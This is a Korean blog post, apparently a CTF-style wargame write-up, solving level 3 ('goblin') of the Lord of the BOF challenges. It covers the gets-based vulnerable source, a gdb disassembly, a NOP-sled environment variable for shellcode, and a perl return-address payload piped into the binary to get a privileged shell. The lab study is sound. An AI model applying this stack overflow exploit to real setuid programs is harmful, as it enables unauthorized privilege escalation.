티스토리 뷰
반응형
BOF 3단계 입니다.
이전 문제풀이와 마찬가지로 bash가 아닌 bash2 에서 실행하도록 하겠습니다.
홈 디렉토리로 가보면 goblin.c 와 goblin 실행파일이 있습니다.
우선 goblin.c 를 까보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 | /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } |
argc와 argv를 사용하고 않은 표준입력으로 buffer에 데이터를 받습니다.
gets 는 입력길이를 검사하지 않으므로 BOF 취약함수 이므로 gets 를 사용해 ret를 노려보겠습니다.
정확한 ret 위치를 구하기 위해 gdb로 까봅니다.
$ gdb goblin
(gdb) set disassembly-flavor intel
(gdb) disas main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 0x80483f8 <main>: push %ebp 0x80483f9 <main+1>: mov %ebp,%esp 0x80483fb <main+3>: sub %esp,16 0x80483fe <main+6>: lea %eax,[%ebp-16] 0x8048401 <main+9>: push %eax 0x8048402 <main+10>: call 0x804830c <gets> 0x8048407 <main+15>: add %esp,4 0x804840a <main+18>: lea %eax,[%ebp-16] 0x804840d <main+21>: push %eax 0x804840e <main+22>: push 0x8048470 0x8048413 <main+27>: call 0x804833c <printf> 0x8048418 <main+32>: add %esp,8 0x804841b <main+35>: leave 0x804841c <main+36>: ret |
gets 에서 인자를 buffer 하나만을 받으므로 buffer의 위치는 ebp-16 인 것을 알 수 있습니다.
buffer에 20 byte를 입력하면 ret 에 접근할 수 있습니다.
우선 buffer의 크기가 충분하지 않기 때문에(16 byte) 환경변수를 사용하도록 하겠습니다.
export 명령어를 통해 환경변수를 등록합니다.
export YoWu=`perl -e 'print "\x90"x512, "쉘코드 61byte';`
그리고 등록한 환경변수의 주소 값을 확인하기 위해 간단한 C를 후딱 짭니다.
getenv.c
1 2 3 4 5 6 | #include "stdio.h" void main() { printf("%x\n", getenv("YoWu")); } |
그리고 gcc 로 컴파일 한 후 실행시켜 보면
현재 YoWu 환경변수의 대략적인 위치가 0xbffffd06 임을 확인 할 수 있습니다.
perl 구문을 짜보도록 하겠습니다.
perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';
(쓰레기 값 20 byte + YoWu의 주소 값)
이번 문제에서는 표준입력으로 buffer를 입력받기 때문에 표준입력으로
perl 구문을 사용하기 위해 파이프(|)를 사용하도록 하겠습니다.
(perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';cat) | ~/goblin
(표준입력으로 perl 구문을 사용할 때는 ;뒤에 cat이 들어갑니다
왜 그런지는 나중에 perl 공부한 후에 알려드릴게요.)
쉘을 딸 수 있었으며 권한이 goblin으로 상승한 것을 확인 할 수 있습니다.
goblin의 비밀번호는
반응형
'개인공부 > 버퍼 오버플로우' 카테고리의 다른 글
BOF 원정대 2단계 gremlin -> cobolt (LEVEL 2) (0) | 2014.02.01 |
---|---|
BOF 원정대 1단계 gate -> gremlin (LEVEL 1) (0) | 2014.02.01 |